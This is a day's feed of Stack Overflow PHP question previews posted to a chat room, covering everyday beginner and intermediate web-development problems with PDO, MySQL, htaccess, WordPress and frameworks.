« first day (257 days earlier)      last day (53 days later) » 
00:00 - 20:0020:00 - 00:00

12:02 AM
0
Q: How can I change the database from MySQL to another?

good_eveningIs it possible to use a different database rather than MySQL. All queries are written in PDO. Does it mean some of the queries need to be changed? Or it's possible just to change a connection to the database? Just curious.

0
Q: check if one of multiple values exists in array

Matthias MüllerFor array with single values like array(2) { ["blue"]=> int(0) ["red"]=> int(1) } I use this code <?php if (array_key_exists('blue',$array)) { echo "jo"; } ?> But what code do I need to use for arrays like this array(2) { ["yellow blue"]=> int(0) ["red white"]=> int(1) ...

0
Q: Unable to connect $GET['page']

user2928643Hey i've got a problem. This is my code: <?php define('IN_INDEX', 1); include ('inc.php'); $GET['page'] == ('themes/<?php echo $theme; ?>/index') or die ("Unable to connect"); ?> Normally it needed to get the $theme variable from the config, witch is required in inc.php, and then sho...

0
Q: Ajax request generates html with onclick function with dynamic variables, after execution, dynamic variable results in [object mouseevent]?

user2355051I have a page that is loaded via php. One of the elements in the page is a <li> that has an onclick event. E.g. <li onclick="dynamiccall('uniqueid');">blah</li>. For the sake of my example, the tag looks as follows <li onclick="dynamiccall('1');">blah</li>. the dynamiccall() function is defin...

0
Q: Php not working

Skylar BruceIn phpMyAdmin I lost all access to root, and I forgot my password to the MySQL cmd so I just uninstalled WAMP and deleted the folder then reinstalled it, root worked perfectly after but then when I loaded index.php (default one) it showed the PHP code and did not run the PHP. I thought index.php...

0
Q: [easy barter calculator]How much fruits is this worth? PHP? HTML? JS?

Andy AndyI have got important thing to do and I have no idea how to. I need a script which will tell me, for example how many oranges is 5 apples worth. Let's say that there are 10 different fruits. Exchange rate has to be flat(predefined). For example: apple=3 oranges OR 2 strawberries OR 5 cherries, ...

0
Q: Extreme speed difference of reading a small file between fgets and fread in php

LemonyI've been doing a lot of little projects for learning purposes in php. My current project was simple, read from a file formatted to be read later in blog form. What I tried first is the code I have posted below. It had an EXTREME amount of lag and gave me a very bad first impression. ( it's a ...

0
Q: php Get value from SimpleXMLElement Object

AlbabI have this code: echo "<pre>Disk Limit: "; print_r($result['disklimit']); echo "</pre>"; which outputs: Disk Limit: SimpleXMLElement Object ( [0] => 990000M ) In simple words, this is what I want to show: Disk Limit: 990000M I have searched similar qu...

0
Q: Facebook API: What's the best way to get fanpage Like Count on Facebook using PHP/JS SDK?

user1775598I've got an FB app, with manage_pages permissions. The app allows users to install a Pagetab. At the time they install it, I need to be able to get the number of Likes for their page, but I can't figure out how to get the number. I've tried looking at the data sent with signed_requestbut it does...

0
Q: SQL Request and Display

ThomasI'm trying to display database entries on a page in an unordered list. I'm echoing my rows in my li's, my sql connection seems fine... I don't understand where I went wrong... Does anyone have an idea? <body class="projects"> <?php $mysqli = new mysqli("localhost", "root", "root", "proj...

 
12:44 AM
0
Q: PHP is_dir not woking as intended

Ciaran ReenI have a working ZF2 set up through the start up guide and decided to port it out to my new site. I've debugged all the way to an is_dir in init_autoloader.php and was wondering if anyone knows what could be wrong. Here's my code: // Composer autoloading $loader = include 'vendor/autoload.php'; ...

0
Q: Query returns result for int not for string

Kevin JohnsonSo right now I have an ajax call which sends the ID from a button to a php script and returns the food result. If i call it by using ItemID and an int it returns the row of the itemID. However if i change it to the ItemName like below, it doesnt return any row. In the consol literally nothing is ...

0
Q: Phalcon PHP - Creating "postDispatch" plugin to handle response

user2107642Can someone point me in the proper direction for creating a zend-mvc style postDispatch plugin? I tried using afterDispatchLoop() but I need a way to access the current response. The goal is to do some sort of filter on the Response (rendered layout + view) , and then reset the response with th...

0
Q: Is there a way to chain php methods while also returning something?

Jay YoonI have a recursively defined function called getPropertyValue($object, $property) that returns false if $property doesn't exist at an arbitrary depth into $object, and the value corresponding to the first $property found inside $object otherwise. It is essentially a generalized version of PHP's b...

0
Q: Loop to change content of href for many anchors

whiteletters and blankspacesThe content of my posts in Wordpress is a big markup. It is coming from MS Word so it is text wrapped by HTML nested tags and inline styles. I have a segment of code that is repeated many times in the content (It represents text footnotes). This segment, for the first footnote for example is: <sup

 
1:08 AM
0
Q: PHP MVC Framework Architecture Advice

Amy NevilleI've been writing procedurally for several years now and recently I decided to make the leap to Object Orientated code. To help me get on the right footing I've been working on an MVC framework of my own. I'm aware of Zend and so forth, but I just want something elegant and lightweight where I u...

0
Q: Useful to re-write the complete project? Get an idea of building an homepage

hookieV2I have some problems and I hope you will understand me and what I want and I hope you can help me. So, I started to program a project for many moths ago. I want to start a little gaming community. I read many tutorials, wrote many snippets and learned programming since I was 12. At the moment I'm...

0
Q: htaccess rewrite absolute link folder

Mik2000dkI have used htaccess to rewrite my links on my page RewriteEngine On RewriteRule ^search/([^&]+)$ search.php?q=$1 [L] RewriteRule ^login/?$ login.php [L] # etc.. On my PHP pages I have made all my links absolute like this <?php require("/incl_head.php"); ?> <link href="/css/css_file.css" rel...

0
Q: strtotime adding +1 day also removes 5 minutes

DaveSomehow, using strtotime and adding "+1 day" not only adds the day, but also removes 5 minutes. In the following 2 examples I expect '2013-10-02 08:15:00', but get '2013-10-02 08:10:00': $myDate = '2013-10-01 08:15:00'; $newDate = strtotime($myDate . ' +1 day'); $newDate = strftime("%Y-%m-%d %H...

0
Q: what's the meaning of \ before name of interface on class declaration?

bruno.karklisWhat is it, \something before the name of interface on class declaration? class ClassName extends ParentClass implements \something { //do something important } This came from PSR-2.

0
Q: Session killing on page refresh

tommoHow does a browser kills a session on refresh button just like with internet banking? I assume java script detects the refresh button and then calls kill-session. Any help would be appreciated.

0
Q: cakephp find query conditions on associated model

user765368I have a model User and a model Role in a CakePHP application. The association between the two models is the following: User $belongsTo Role Role $hasMany User I want to make a query on the User model to find all users with a specific role (let's say the role Supervisor). I did my query like t...

0
Q: How i run this Spatial Prepared statements in MySQL?

Franklin MayI'been trying to make this work, but still i couldn't figured out where i'm wrong. This is my hosting config: Apache version: 2.2.23 PHP Version: 5.3.27 MySQL Version:5.1.68-cll and this is my test code: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xht...

-1
Q: Notice: Trying to get property of non-object.. How to fix?

Anshuman TiwariHere is the Code, from where error is coming :) I hope that I'll get my answer quick!!! function getSubs($id, $type, $start = null) { if($type == 0) { if(is_numeric($start)) { if($start == 0) { $start = ''; } else { ...

0
Q: Homebrew - How to Enable php 5.5

Nenad dvLI have installed latest php 5.5.5 and I have no clues how to run it. Currently I can see integrated php 5.4.17 or so from OS X Mavericks. I was wondering what should I type in apache file, since none of those from screenshot do not work, except default integrated one by uncommenting first line. ...

0
Q: php rtf include barcode image

Yuvarajim trying to include barcode in the php. i have no problem in generating barcode but when i include that in the rtf , it is not scanned by the barcode reader. im using the below code to convert image into rtf text $imagePath = "./temp/barcode/{$text}.png"; $b=fopen($imagePath,"rb"); ...

 
1:50 AM
2
Q: What does a PDOStatement contain and what is the use of fetch/fetchAll?

Antonis GrigoriadisI cannot understand 1) what is inside a PDOStatement object and 2) why I would need a fetch() or fetchAll() method. My database: One simple table called 'animals' with 3 columns (id, name, species). My code: try { $pdo = new PDO($dsn, $user, $pass); $pdo->setAttribute(PDO::ATTR_ERRMO...

0
Q: Displaying form information with PHP classes

user2220653I am trying to display the information put in a form. Here is my code that is messing me up: <?php //include the person class require ('objects/classes/person.class.php'); $person = new Person(); //set person attributes $person->first_name = $_POST["first_name"]; $person->last_name = $_POST["l...

0
Q: .htaccess trouble with hiding file extension and forcing trailing slash

user2943951When I type domain.com/page.php it doesn't automatically change to domain.com/page/. Also, for the pages in subdirectories, if I follow a link to domain.com/sub/1/ everything is fine, but if I type it in the browser it redirects to domain.com/1/ This is what i have in .htaccess RewriteEngine on...

-2
Q: How do I make personal profile pages?

user2948997Okay, so i have logging in and registering. There's also a members area and an edit account details page. But how do i set up personal profile pages? For example, when John signs up he would get his own link like http://website.com/user/jonathon and people would be able to go on it to view his de...

0
Q: How do I send multiple post data with PHPWkhtmlToPdf?

Kevin JohnsonHow do I send multiple post data with PHPWkhtmltoPDF? My code is the following and it returns an error saying no data has been sent. It works fine if I just use one post last name. It also works fine with Wkhtmltopdf.exe use "--post fname $fnam --post lname $lnam --post MATCH EXACT. <?php requi...

 
2:32 AM
0
Q: Setting PHP environment variable on GAE dev mode (dev_appserver.py)

rodrigo-silveiraI have Zend Framework project running on Google App Engine. Everything works great, with the exception of one thing: I can't set an environment variable to tell Zend that I'm in development mode Any ideas? (I'm using PHP 5.4 in Ubuntu) What I've tried (Obviously I don't want to set the v...

0
Q: Symfony 2.3.5 Fatal error: Class 'ResourceBundle' not found on Server

ZienciaI'm using namecheap host server with PHP Version 5.3.27 and no intl extension installed. Althoug I try to put this lines in php.ini it still not work. [PHP] detect_unicode = off suhosin.executor.include.whitelist="phar" date.timezone=Europe/Berlin short_open_tag = off magic_quotes_gpc = off ext...

0
Q: Facebook insights, page_fans_country accessible, no data for page_fans_city

Mlk DevI'm using FQL to access pages insights and I've got different results depending on the metric,for exemple the query with metric=page_fans_country work correctly but with this metric = page_fans_city don't work ?? so any solution plzz

0
Q: How to connect php to sql server 2008 in Windows 8 with PDO?

sektor-13I am using sql server 2008, WAMP, Windows 8 and trying to connect php to sql server but it says something like: Fatal error: Uncaught exception 'PDOException' with message 'could not find driver' in ... line 7 By the way I have tried to uncomment php_pdo_sqlsrv_54_ts.dll in php.config and m...

0
Q: Adding different objects to array, but only one object repeating

CarpetfizzI have a small piece of PHP code that goes through valid values and fetches information about them. It then pushes it to an array. For some reason, I'm only getting the last item of $row, repeated several times. When I try to print_r at #1 in the code, the expected values are outputted. However, ...

0
Q: Ajude-me com esta consulta COUNT

Fatima Almeida<?php include "cf.php"; $user = "dd"; $x = mysql_query("SELECT count(*) FROM logs_sso GROUP BY owner desc"); while ($con = mysql_fetch_array($x)){ echo $con['id']; echo "<br>"; echo $con['owner']; echo "<br>___________________<br>"; } ?> ? "because the count (*) returns only numbers and not no...

 
3:13 AM
-1
Q: ajudem me com sistema de rank

Fatima Almeida<?php include "cf.php"; $user = "dd"; $x = mysql_query("SELECT count(*) FROM logs_sso GROUP BY owner desc"); while ($con = mysql_fetch_array($x)){ echo $con['id']; echo "<br>"; echo $con['owner']; echo "<br>___________________<br>"; } ?> CREATE TABLE IF NOT EXISTS `logs_sso` ( `...

0
Q: creating my own jason output in php with two objects and one string of objects

MikeI am trying to have a json output that tells me if a user has an item (yes or no), a description of the item from the user, and third a json array of descriptions from everyone. I am trying to accomplish this with this code: //prepare variables for getting other user notes $review = array(); i...

0
Q: PDO with json_encode return data as arrays

DaveI'm having an issue with trying to return my data as 2 dimensional arrays rather than objects in a single array. I fetch my query results like this: if($stmt->rowCount()){ echo json_encode($stmt->fetchAll(PDO::FETCH_ASSOC)); exit; } The data I get from the json_encode is li...

0
Q: Why is WP_Query's meta_query not filtering results?

RobokidI am working on a wordpress site that utilizes WP_Query to find songs based on their category, tags, and other things in a tax_query, but it also groups in a meta_query which (should) find songs based on bpm and other metadata. In the Medai tab on Wordpress, admin can add songs, and attach them ...

 
3:43 AM
0
Q: Wordpress URL for albums in Nextgen plugin changed for no reason

lifeIsGoodNot really a programming question (I think) but for some reason some URL's of my Wordpress blog changed. It has only affected pages created for the Nextgen plugin. Basically I have a photo gallery divided up by years, then months. The URL's used to be mydomain.com/photo-gallery/2013 now they ...

0
Q: When I write a post on the board, with the posts and tried to put the image into

bismuteWhen I write a post on the board, with the posts and tried to put the image into. When I add an image, the text in the image are about to enter. <?php $reg_date = time(); $member_idx = $_POST['member_idx']; $q = "INSERT INTO ap_bbs (member_idx, subject,content,reg_date) VALUES('$member_idx', ...

0
Q: PHP cors validation

Brian PuttI have an endpoint that takes GET requests to collect data from any source that wants to send data. Is there a way to run some validation that the data is in fact coming from the sources we allowed? They enter the website url that they will be sending the data from and we generate an api key. ...

0
Q: pecl mdbtools failed to install on ubuntu 13.10

Dragomir AdrianI tried to install mdbtools with pecl on Ubuntu 13.10 ant the compilation failed with ZEND error (see the image): expected 'long int' but argument is of type 'int *' php version 5.5.3 Zend Engine 2.5.0 Please help!

0
Q: informations don't Insert to DataBase with PDO

KiyarashPlease look at my PHP code: PHP: $username = 'kia'; $pswd = 'kiakia'; $db = 'jahaad'; $kaan = new PDO('mysql:host=localhost; dbname = jahaad', $username, $pswd); if ($kaan) { echo 'Connected<br />'; } else { echo 'Not Connected'; } $address = "../letters/Assistance01/office01/letter001.txt"...

0
Q: how to connect online mysql database server from local wamp server using php?

Mujeeb IqbalI need to connect my online mysql database from local wamp/xampp server using php I need to update some table in my online phpmyadmin database from my local phpmyadmin database , It is possible ? my local machine have internet connection ,

1
Q: MySQL query sorting correct information

user2949138I'm currently struggling to find out the correct query for what I want to achieve and was wondering if anyone has some bright ideas. Been at a lost here for quite some days now and just can't find the correct query to get what I need. Desired result: I currently have fully working forum, with m...

0
Q: How do I run index.php in a private folder from index.html

user2155614I have a website that has a root html at index.html. I want to redirect index.html to a php file in a private folder one parent above to run an index.php. This file would then render the html content that I need depending on the request. How would I go about this process of getting the index.php ...

0
Q: Indexing arrays with variable depths

Marek TeuchnerIs there a way how to index an array with variable depth? e.g. I have somewhere saved: $path_string="Shop,Items,Item"; I will convert it to array: $path = explode (",", $path_string); And the number of items in the array affects the array dimension. So then, I want to index my multidimens...

0
Q: how to get the unchecked value of a checkbox in codeigniter

Rahat Islam Khani am developing a attendance system in codeigniter. There is a list of check box. i am successful to insert the checked data to the database but i want to know how will i insert the unchecked data to the database and how will i detect wither a box is checked or not like java here is my view <...

0
Q: I want to float two divs next to each other

Antosia FiedurI am trying to put two divs next to each other. When the page first loads, it seems to work, but as it completes loading, the sidebar moves to the bottom. Can't figure it out. I want the sidebar on the right, the content on the left. please check this

0
Q: Getting an error Notice: Undefined index: ref

user2948532First of all I am a new student of learning php. Currently I am writing a piece of code, But getting this error when i compile it. Notice: Undefined index: ref in D:\xampp\htdocs\uploadthis\includes\config.inc.php on line 8 my file config.inc.php <?php require_once ('database/database.inc.ph...

0
Q: Tried every thing still getting ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/tmp/mysql.sock' (2) in mac

rosnkEvery time i run xampp and try to run $mysql -u root -p , its throwing me error wich is: ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/tmp/mysql.sock' (2) I am using xampp version 1.7.3 in mac OS-10.9. Starting Apache and mysql is not a problem and i have confirmed ap...

0
Q: How to make active navigation bar in php?

sn0wHello I'm trying to make my navigation bar active in php, so that user can know in which page they are on. I'm new to php and don't know much about it. So how can I add a class="active" in this code to make a active nav bar. <a href="?page=home"> Home</a></br> <a href="?page=news"> News</a></br> <

0
Q: PHP MySQL persistent connections and free result?

AlasdairNaturally when the PHP script ends all the MySQL query resources that have not already been manually unset with by a free result function will be freed automatically when the connection is dropped at the end of the script. But what about with persistent connections? Are we sure that PHP will act...

0
Q: Not working fopen in sftp server

Mehedee Rahman SetuFollowing code is working well in my local server Xampp as well as remote server. But when I trying with sftp server it is not working. $fptr = fopen("Test File.pdf", "w"); fputs($fptr, $HTTP_RAW_POST_DATA); fclose($fptr); How can I fix it in sftp server? Process: Pdf file submit th...

0
Q: Find the top scorer in a league

user2949176I am new to databases. I have been given an assignment which is something to do with football league where some teams play home and away and the scores are stored etc etc. I have the following tables goals goal_id goal_player_people_id goal_game_id goal_score player player_people_id player_...

0
Q: PHP mysql mail Technics

rathinsI am looking for tutorial with compose mail(with Bold Italic and color) ,inbox,send mail, forward mail,reply mail,delete mail in php mysql with table design . and i also want to know for design 50 clients mail system,do i NEED mail server? if I do not have any mail server and I want to complete ...

0
Q: SimpleXML, please do not expand entities

Garrett AlbrightI'm using SimpleXML to try to parse a large XML file with <!ENTITY declarations. Unfortunately, SimpleXML seems too eager to go ahead and expand those entities, and I'd rather it didn't, since the entity symbols are short, easily parseable, and theoretically won't change in newer versions of the ...

0
Q: Codeigniter link to load different view

Sean KI'm not sure what I am doing wrong here. Everything looks fine. But I keep getting Error 500 on the page load. <?php if ( ! defined('BASEPATH')) exit('No direct script access allowed'); class Site extends CI_Controller { public function index() { $this->home(); } public fu...

0
Q: Change Password script with php mysql

jshwilson9I'm looking to create a change password script for my website. I've looked everywhere and i can't seem to work it out. What i'm trying to accomplish is a PHP, MYSQL script or code that i can get the user to change there password through a backend page once they have logged in. I hope you can hel...

0
Q: Way to auto update a column in database depending on time

MithileshIs there any way or script that allows to auto update the column in my database everyday at midnight 12.For eg I have a column 'x' ,currently value in certain row under column 'x' is say 10, What I want is to reinitialize that value to 0 as the clock strikes 00:00:00.Is there any way to do this ?...

-2
Q: nimbuzz api chat buddy

user2946923do any one of you used Nimbuzz ! API or Nimbuzz ! Developers Program http:// developer.nimbuzz.com / Uses an php script the problem this that the program view correctly in the website http:// wadalamalhuda.cwahi. net/ but did not work will sign in to nimbuzz but adding this Nimbuzz ID : bot wadal...

0
Q: Webkit transform using jquery

TechyDudeUsing wordpress, I have a page template (so I can work in PHP) that I added a style tag. I need to control the height and width using a variable so that my site is responsive. I know the below doesn't work, but I'm trying to explain my mindset. If I could create a variable in php then echo the va...

0
Q: add model relationship without save

Miguel BorgesI have the next relationship User hasMany Contacts. In normal situation is use $user->contacts()->save($contact) to add and save a contact to the user, but I need to associate contacts to users without save the models (User and Contacts).

0
Q: Handlebars: How pass @index as parameter to custom helper

diosneySetup: I'm using Handelbars.PHP, but maybe a solution with Handlebars.js in mind can help me. A custom helper content that expects two parameters a collection and an index. An #each helper invocation that calls to #content helper, like this: {{#each data}} {{#content ../parent_options @in...

0
Q: Restservice with curl simpleget not working

PasargadI'm trying to use my webservice by curl: public function getImages($time) { $url = $this->rest_url['employees'] . "?action=getAllNewPhotos&accessKey=" . $this->rest_key['employees'] . "&lastcheck=" . $time; $data = $this->CI->curl->simple_get($url); if ($data) { ...

0
Q: Is there any implementations or alternatives of evercookie written for nodejs?

junku901Basically I want to use permanent cross-browser cookies to uniquely identify anonymous users on my website. I have found evercookie, but there's only php implementation in http://samy.pl/evercookie/ . I tried to port these php algorithms to node, but since I'm not familiar with php, it was very...

0
Q: are Traits affected by namespaces?

learning phpfrom the PHP documentation: only four types of code are affected by namespaces: classes, interfaces, functions and constants. but is seems to me that TRAITS are also affected: namespace FOO; trait fooFoo {} namespace BAR; class baz { use fooFoo; // Fatal error: Trait 'BAR\fooFoo' no...

 
5:25 AM
0
Q: how to prevent updating more than 1 fields in database

HungryDBI'm trying to edit data(stored in DB). This is display.php. First it displays data from DB (if no data then blank fields). Then edit button to edit DB. <html> <body> <?php if(!isset($_POST['edit_pro'])) { ?> //get data from DB and display in table. <form> <input type="submit" name= "edi...

0
Q: Building a Browser Game

user2063321I'm interesting in making a browser based game, but I'm not sure where to start. I want to make a turn based game with graphics to represent the map, that saves the game state in between sessions (sort of like Ogame or Travian). I've read some stuff online about HTML and javascript and PHP, but I...

0
Q: PHP post submit values for SQL statement

Brendon RotherSo I'm trying to sort an SQL query based on which submit button is clicked My Sort options: echo "<form method='post' action adminview.php'>" ."<input type='submit' name='sort' value='Sort by Attempt ID'/><br />" ."<input type='submit' name='sort' value='Sort by Student ID'/><br />" ."

0
Q: converting mysqli connection object to connection string

fmaskCan we convert mysqli connection object to string connection. $mysqli = new mysqli("localhost", "my_user", "my_password", "world"); can we convert $mysqli for procedural queries Or it is not possible. $query = "SELECT * FROM City ORDER by ID DESC "; if ($result = mysqli_query($mysqli, $query...

0
Q: php calling several functions within for loop

Robert82Is it possible to call functions within for loops? I have a number of databases that are exactly the same, I would like to use a for loop to set up the connections one at a time (35 databases). I am having trouble with getting php to declare a function with a variable in the name. for ($i = 1;...

0
Q: How do I catch delete() methods for the Query Builder in Laravel 4?

RhysOverriding standard methods (eg. delete(), and using hook methods, eg. Post::deleting()) are very useful, but it appears that Query Builder (or Fluent?) objects do not process their methods through these methods. For example, the following process will listen to hooks, and can be overridden: $u...

 
5:49 AM
0
Q: How to Post HTML form data for use with PayPal after user registration

FahadWhat I'm trying to figure out is how I can POST the following form data to paypal through a php file that also inserts some data into a table. this is my php script that renders the cart information foreach($_SESSION['paypalCart'] as $product) { $html .= ' <tr> <td>'.$prod...

 
6:01 AM
0
Q: How to get sources of all images on page and then put them all in one division

IshpreetWhat I want is that before the page loads, it gets all the images on the page, and puts them into one single division. eg. The page has 5 images - eg1.png, eg2.jpg, eg3.bmp, eg4.jpg, eg5.png. Now before page starts to load, all the images remain in the page, but also go to a division with the id'...

0
Q: When I float my div to the left, it disappers, why?

Antosia FiedurI have this div, when I float it to the left, it disappears completely, why? see here Here is original code: } .archive #primary, .search #primary, .blog #primary { max-width: 900px; margin: 0; padding: 0; The div loads, then disappears when I add this: Float:left; I am trying t...

0
Q: how to insert multi records in yii session using ajaxSubmitButton

StreetCoderI have been developing an application in Yii framework. At this point, I fall in an issue that is, I have an Order form where I select a registrant (all registrants come from database) from a dropdown, an item (all product items come from database) from dropdown and a input textbox where I type t...

 
6:13 AM
0
Q: [OSX][PHP 5.5.5] Ignored --with-config-file-scan-dir

AlphaZygmaI upgraded OSX Lion to Mavericks and decided to upgrade my PHP version to the latest at the time (5.5.5) I managed to get all dependencies, configuration, make and installation to work, however after running it, it is ignoring the scan directory and using the one originally set by Apple. Apple ...

0
Q: htaccess rewrite conflict with https

AdelphiaI have the following rewrite: RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.+?)$ user_home.php?domain=$1 [L,QSA] Which works fine for rewriting my urls, but I now need to force HTTPS,so I am using this: RewriteCond %{HTTPS} !=on RewriteRule ^ https://%...

0
Q: Javascript jquery not refreshing the div

KleberBHI have this code HTML <form id="myForm" method="post" onsubmit="return updateValues(this)"> <input id="id" type="hidden" value="<?php echo $row[0]; ?>" /> <input type="text" id="dd" value="<?php echo $row[1];?>" /> <input type="text" id="da" value="<?php echo $row[2];?>" /> <

0
Q: PHP Solr PECL Extension installation

WasimI have installed pecl/solr using command, pecl install solr and pear using wget http://pear.php.net/go-pear.phar php go-pear.phar After Restart Apache, i am still getting error Fatal error: Class 'SolrClient' not found on php code $client = new SolrClient($options); Can any one pl...

0
Q: Instantiating class and passing action

seasickI'm working through a PHP starter book I just got along with code. I am stuck on this one example and I have no idea what's going on. Can someone help explain what is going on? This class seems to get instantiated and the default case is to list the posts recorded to a database: <?php require_o...

0
Q: codeigniter jquery ajax array post

user2715447I use codeingiter application to sent array input value by post jquery ,but data value send to controller not save in database .How to do ? please help me. view code <table width="200" border="1"> <tr> <td>table</td> <td> <input name="table[]" type="text" id...

 
6:43 AM
0
Q: save xml files limit by 1000 url's each file

user2568578how can i save sitemap in servel files, limit by 1000 url's each file, like sitemap1.xml sitemap2.xml basicly i want to limit the "foreach" each file by put_file_content my code is: $sitemap = "<?xml version=\"1.0\" encoding=\"UTF-8\"?> <urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0...

0
Q: How can this while() loop be written better?

Mr JThe following code works perfectly, but I am sure it can be rewritten to look better without so much duplicate code? If you notice only the pixels in the div, the $res, and the $row change. It can use numbers that is fine, so instead of $rowb it can be $row2 instead. How can this be rewritten ...

0
Q: Generating Getters and setters Symfony2

Kamran AhmedI firstly created the database and then generated the entities from it. After that I generated the getters and setters in the entities using: php app/console doctrine:generate:entities DigitalManager Later on I decided to create the association (One to Many) between the entities, so I added th...

0
Q: varifying json response on nested ajax call

KarimkhanI tested my jsno example here: data.php <?php ob_start(); echo "string1"; $div1 = ob_get_clean(); ob_start(); echo "string2"; $div2 = ob_get_clean(); $resultArray = array("resultOne" => $div1,"resultTwo" => $div2); echo json_encode($resultArray); ?> start.php xmlhttp.onreadystatechange=f...

 
7:07 AM
0
Q: how to show correct value in select change

user2938105i want to update my from when i click edit button then all info is showing correctly but in status value is showing all time open option i dont know why it is showing open status and my currently status is done but it is showing all time open please help me to fix this issue thanks this is my fo...

0
Q: How to check CSRF token serverside if i am not using session cookies?

user2148105In our current project, we implement persistent sessions by using cookies. When the user logs in a session hash is generated and sent via a user cookie. On every page load that is checked with the corresponding session entry in the database and the user is authenticated. In the past if i had to...

0
Q: Replacing local path backslashes with http:// forward slashes str_replace() in php

NevI get the following result :http://www.mydomain.com/Music/\2011 Hits\Balle Lakka.mp3 Following is str_replace to try and replace local path URL to http:// path: @mysql_select_db($database) or die( "Unable to select database"); $query = "SELECT songlist.* FROM songlist WHERE ID='".$s...

0
Q: Set default db in oracledb

navieI finished a project using codeigniter and mysql and I am now required to migrate the project so it can work with oracledb. One problem I am facing is the default db. In mysql I can choose the default db so instead of SELECT * FROM mypj.user I can just do SELECT * FROM user In Oracle, is t...

-1
Q: php inside <a> of HTML

Vaibhav SharanI am a beginner and trying to use PHP statement inside <a> tag of HTML. I don't know whether it is possible or not and I tried to search it on Google, but I couldn't find any answer. Below is the code I am trying to execute. Whenever I run this code, I do not get any error but the my browser do...

0
Q: Selecting from multiple SQL tables

Matthew MyersAlright so i would like to select data from multiple tables in mysql all under the same DB. i'm trying to create a quick CMS. i have a settings table, a pages table, and a users table. I need to select Everything from these tables and be able to print them as such: "$template = $row['template'];"...

0
Q: Why is my page not redirecting after login?

SherwoodProI've looked through this about a hundred times and can't find a reason the page won't redirect. I can't find any spaces or any output I might be missing. Can anyone spot the problem? Here is my code: <?php include_once('includes/sessions.php'); include_once('connections/localhost.php'); incl...

0
Q: Laravel foreach only returns first value after form post

Web StudentI am a beginner and i am currently building a small social network for practice. I store my settings options in the database and my primary key is a string. Database structure Settings table name | value | type | -------------------------------------------...

0
Q: pdflib_dotnet.dll unknown option error for fit_textline

user2949346I m replacing my show_boxed method of pdflib_com.dll 4version with pdflib_dotnet.dll method fit_textline. To get same output result as that of show_boxed manual suggested me to use minspacing=100%, maxspacing=10000%, SHRINKLIMIT=100% but it throws an error stating that UNKOWN OPTIONS minspacing,...

0
Q: Ignore duplicate values in PHP - MYSQL using Arraymap

Amal PrasadDB Date Price qty 2012-10-21 $11 150 2012-10-22 $12 90 2012-10-22 $12 10 2012-10-23 $13 250 CODE $result = mysqli_query($con, "SELECT * FROM table ORDER BY 'date'"); while ($row = mysqli_fetch_array($result)) { $orders[] = array( 'Date' => $row['date'], ...

0
Q: Export data from excel spreadsheet to the HTML tables

Saravanan GanesanI want to export data from excel spreadsheet to the HTML tables i have used in my web page. So when i enter data in my spreadsheet, some script has to read those data and needs to update in my table present in web page. Excel will not be shown to the end user. Excel acts like database for the pre...

 
7:31 AM
0
Q: Mysqli Prepare is not working inside another prepared statement

mwaseemaI am trying to run a prepared statement inside a prepared statement but got no success. Here is my code: if ($stmt = $mysqli->prepare("SELECT author_id FROM posts")) { $stmt->execute(); $stmt->bind_result($author_id); while ($stmt->fetch()) { if ($stmt2 = $mysqli->prepare("SELECT use...

0
Q: doctrine join multiple tables

user2949380Just started using doctrine. question. I have a lookup table that does 2 joins. How can I do this in Doctrine? My SQL statement looks like this in mysql select * from Business b inner join BusinessCategoryLookup on b.BusinessID= BusinessCategoryLookup .BusinessID inner join BusinessCategory bb...

0
Q: Joomla 3.1 get category object by category id

vito78Is it possible in Joomla 3.1 get category object by category id with some kind of function?

0
Q: Embedding html code inside php

KarimkhanHere I have embedded html code in php. But while execution it give error. I checked many time but could not see bug. Help appreciated: PLease see <?php $url = $_POST['url']; $user_id = $_POST ['userid']; if(isset($_POST['rate'])) { $rate =$_POST['rate']; } els...

0
Q: Setting a session through php and selectively loading html

user2155614I'm new to php and web server technology so please bear with me. I'm trying to have a webpage that has a form. The form is submitted and if the data is correct it reloads and loads different html. Here's my code: <?php session_start(); $_SESSION['user'] = ""; $_SESSION['pass'] = ""; echo "This...

0
Q: Laravel - Not found exception

GaganI am a newbie php developer using laravel. I have my routes.php defined as such Route::get('/', function() { return View::make('Home.index'); }); and my index.blade.php as such @extends('layouts.master') @section('content') <h2>All Users</h2> <p> {{HTML::link('Home.createuse...

 
8:00 AM
0
Q: Fatal error in joomla

Khair Alkotin the my website sometimes there Fatal error, Fatal error: Allowed memory size of 67108864 bytes exhausted (tried to allocate 6472822 bytes) in /home/xxx/public_html/libraries/joomla/cache/storage/file.php on line 142 plz help me!

0
Q: When return json to iOS, cannot modify header information

Su Myat Mon$status_header = 'HTTP/1.1 ' . $status . ' ' . getStatusCodeMessage($status); header($status_header); header('Content-type: application/json; charset=utf-8'); I updated OS X 10.8 to 10.9, php 5.3.26 to 5.4.17. At php 5.3.26, No error!!! but error occur at php 5.4.17. When return json to iOS, ...

0
Q: elclanrs jq-idealforms submit form

user2949395The wizard with form validation works perfect but I can't submit the form with use of php formtools.org for cms. I think I have to change the onSubmit fuction in the example but I don't no how. Thanks for help, regards Wout den Teuling

0
Q: Load JSON content with AJAX using pages

ChelseawillrecoverI have been working with JSON API and AJAX to load my blog contents into a ul listview. This has been possible by using either the for loop or return statements to limit the number of items. What I would like to do is only load page contents so if page 1 has 8 items in it then it should only lis...

0
Q: setting event to happen inbetween certain time

Craysso i have a database that have a set of events that are suppose to happen and end at certain time. So say my table is (the event here is an actual event, not a code thing) Event | TimeStart | TimeEnd | Day A | 0800 | 1400 | 2 B | 2000 | 2300 | 3 ...

-1
Q: What is really the best practice to validate a URL in php?

SergioI have seen many questions about this, but any of these answer my question, is simply, i want validate like this: VALID -> https://stackoverflow.com VALID -> http://stackoverflow.com VALID -> http://stackoverflow.com/ VALID -> http://stackoverflow.com/(whatever string like url) VALID -> http...

0
Q: Current post number/total posts single.php Wordpress

user30899So Im trying to display current post number and total posts in a category while in single.php view. Lets say I have a category of 5 cars (posts), Im viewing car 2, previous post is car 1, next post is car 3, total cars 5. In wordpress, how can I show that your currently view car 2 of 5? Any he...

0
Q: How to use foreign keys with PHP

